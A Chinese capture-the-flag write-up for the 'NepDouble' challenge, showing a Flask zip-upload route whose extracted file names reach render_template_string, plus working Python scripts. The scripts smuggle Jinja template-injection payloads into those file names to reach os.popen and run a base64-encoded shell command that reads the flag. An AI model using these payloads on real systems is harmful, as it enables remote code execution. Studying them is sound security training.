一、题目
题目:NepDouble
题目描述:
二、WriteUp
1. 源码分析
@app.route('/', methods=['GET', 'POST'])
def main():
if request.method != "POST":
return 'Please use POST method to upload files.'
try:
clear_uploads_folder()
files = request.files.get('tp_file', None)
if not files:
return 'No file uploaded.'
file_size = len(files.read())
files.seek(0)
file_extension = files.filename.rsplit('.', 1)[-1].lower()
if file_extension != 'zip':
return 'Invalid file type. Please upload a .zip file.'
timestamp = datetime.datetime.now().strftime('%Y%m%d%H%M%S')
md5_dir_name = hashlib.md5(timestamp.encode()).hexdigest()
unzip_folder = os.path.join(app.config['UPLOAD_FOLDER'], md5_dir_name)
os.makedirs(unzip_folder, exist_ok=True)
with ZipFile(files) as zip_file:
zip_file.extractall(path=unzip_folder)
files_list = []
for root, dirs, files in os.walk(unzip_folder):
for file in files:
print(file)
file_path = os.path.join(root, file)
relative_path = os.path.relpath(file_path, app.config['UPLOAD_FOLDER'])
link = f'<a href="/cat?file={relative_path}">{file}</a>'
files_list.append(link)
return render_template_string('<br>'.join(files_list))
except ValueError:
return 'Invalid filename.'
except Exception as e:
return 'An error occurred. Please check your file and try again.'
2. 功能测试
import requests
file_path = './test.zip'
url = 'https://neptune-59769.nepctf.lemonprefect.cn/'
with open(file_path, 'rb') as f:
files = {'tp_file': (file_path.split('/')[-1], f, 'application/zip')}
response = requests.post(url, files=files)
print(response.text)
3. 访问<a href="/cat?file=5d547db16cff3d5848781938e9ec70ce/zipfile/1.jpg">1.jpg</a>
/cat?file=5d547db16cff3d5848781938e9ec70ce/zipfile/1.jpg
即得到文件内容
4. 漏洞函数
return render_template_string('<br>'.join(files_list))
在渲染文件名时 可以进行python ssti模板注入
5. exp
import requests
import zipfile
import os
import re
import html
content_payload = 'whatever'
file_name = input("input filename:")
zip_file_name = 'payload.zip'
file_path = './payload.zip'
url = 'https://neptune-60709.nepctf.lemonprefect.cn'
with open(file_name, 'w') as f:
f.write(content_payload)
with zipfile.ZipFile(zip_file_name, 'w') as zipf:
zipf.write(file_name)
os.remove(file_name)
with open(file_path, 'rb') as f:
files = {'tp_file': (file_path.split('/')[-1], f, 'application/zip')}
response = requests.post(url, files=files)
os.remove(zip_file_name)
href = html.unescape(response.text)
print(href)
{{}}是表达式
{{''.__class__}}
{{''.__class__.__bases__[0].__subclasses__()[0].__init__.__globals__.keys()}}
{{''.__class__.__mro__[0].__subclasses__()}}
{{''.__class__.__mro__[1].__subclasses__()}}
{{''.__class__.__mro__[1].__subclasses__()[222].__init__}}
{{''.__class__.__mro__[1].__subclasses__()[209].__init__.__globals__.keys()}}
{{''.__class__.__mro__[1].__subclasses__()[209].__init__.__globals__["os"]["popen"]("ls").read()}}
{{''.__class__.__mro__[1].__subclasses__()[222].__init__.func_globals.values()[13]['eval']('__import__(\"os\").popen(\"ls\").read()')}}
import requests
import zipfile
import os
import re
import html
for i in range(1000):
content_payload = 'whatever'
file_name = "{{''.__class__.__mro__[1].__subclasses__()[" + str(i) +"].__init__.__globals__.keys()}}"
zip_file_name = 'payload.zip'
file_path = './payload.zip'
url = 'https://neptune-42781.nepctf.lemonprefect.cn'
with open(file_name, 'w') as f:
f.write(content_payload)
with zipfile.ZipFile(zip_file_name, 'w') as zipf:
zipf.write(file_name)
os.remove(file_name)
with open(file_path, 'rb') as f:
files = {'tp_file': (file_path.split('/')[-1], f, 'application/zip')}
response = requests.post(url, files=files)
os.remove(zip_file_name)
href = html.unescape(response.text)
if "\'os\'" in href:
print(i)
{{''.__class__.__mro__[1].__subclasses__()[209].__init__.__globals__['os']['popen']('ls').read()}}
在文件系统中,斜杠 / 被用作路径分隔符,因此它不能作为文件名的一部分。如果您尝试创建一个包含 / 的文件名,将会引发 FileNotFoundError 或者其它错误。
import requests
import zipfile
import os
import re
import html
content_payload = 'whatever'
file_name = "{{''.__class__.__mro__[1].__subclasses__()[209].__init__.__globals__['os']['popen']('echo Y2F0IC9mbGFn|base64 -d|bash').read()}}"
zip_file_name = 'payload.zip'
file_path = './payload.zip'
url = 'https://neptune-60709.nepctf.lemonprefect.cn'
with open(file_name, 'w') as f:
f.write(content_payload)
with zipfile.ZipFile(zip_file_name, 'w') as zipf:
zipf.write(file_name)
os.remove(file_name)
with open(file_path, 'rb') as f:
files = {'tp_file': (file_path.split('/')[-1], f, 'application/zip')}
response = requests.post(url, files=files)
os.remove(zip_file_name)
href = html.unescape(response.text)
print(href)
三、总结
四、参考链接